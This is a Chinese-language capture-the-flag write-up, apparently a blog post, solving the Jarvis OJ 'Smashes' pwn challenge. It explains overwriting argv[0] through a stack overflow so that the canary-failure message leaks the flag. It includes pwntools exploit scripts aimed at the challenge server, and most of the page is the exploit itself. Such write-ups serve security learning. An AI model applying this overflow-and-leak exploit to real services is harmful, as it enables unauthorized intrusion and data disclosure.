[Jarvis OJ - PWN]——Smashes

[Jarvis OJ - PWN]——Smashes

还是先checksec一下看看。64位,并且除了PIE,其他保护基本都开启了。
在这里插入图片描述
在IDA中看看
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

发现有可以利用的栈溢出, 我原本的想法是将canary给泄露出来。但是看到触发了canary保护后的结果, 有点不对劲。
在这里插入图片描述
修改了文件名后,我确定了, 泄露的就是argv[0]。我们可以通过将其覆盖, 主动触发canary保护, 将flag拿到手。
在这里插入图片描述
我们首先要确实, argv[0], 距离的输入的偏移。我们找最初的指针指向。
diantance = 0x218
在这里插入图片描述
上面我们找到flag的地址位:0x0000000000600D21
所以exploit

from pwn import *
#p=process('./smashes')
p=remote("pwn.jarvisoj.com","9877")
p.recvuntil("name?");
flag_addr=0x0600D21                                                                                                 
payload='a'*0x218+p64(flag_addr)
p.sendline(payload)
p.interactive()

发现结果不对,什么都没有???
在这里插入图片描述

看了下相关博客,学到了

peak小知识

当ELF文件较小的时候,他的不同区段可能会被多次映射。

找到映射备份地址0x400D21

exploit

from pwn import *
#p=process('./smashes')
p=remote("pwn.jarvisoj.com","9877")
p.recvuntil("name?");
flag_addr=0x0400D21                                                                                                 
payload='a'*0x218+p64(flag_addr)
p.sendline(payload)
p.interactive()
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值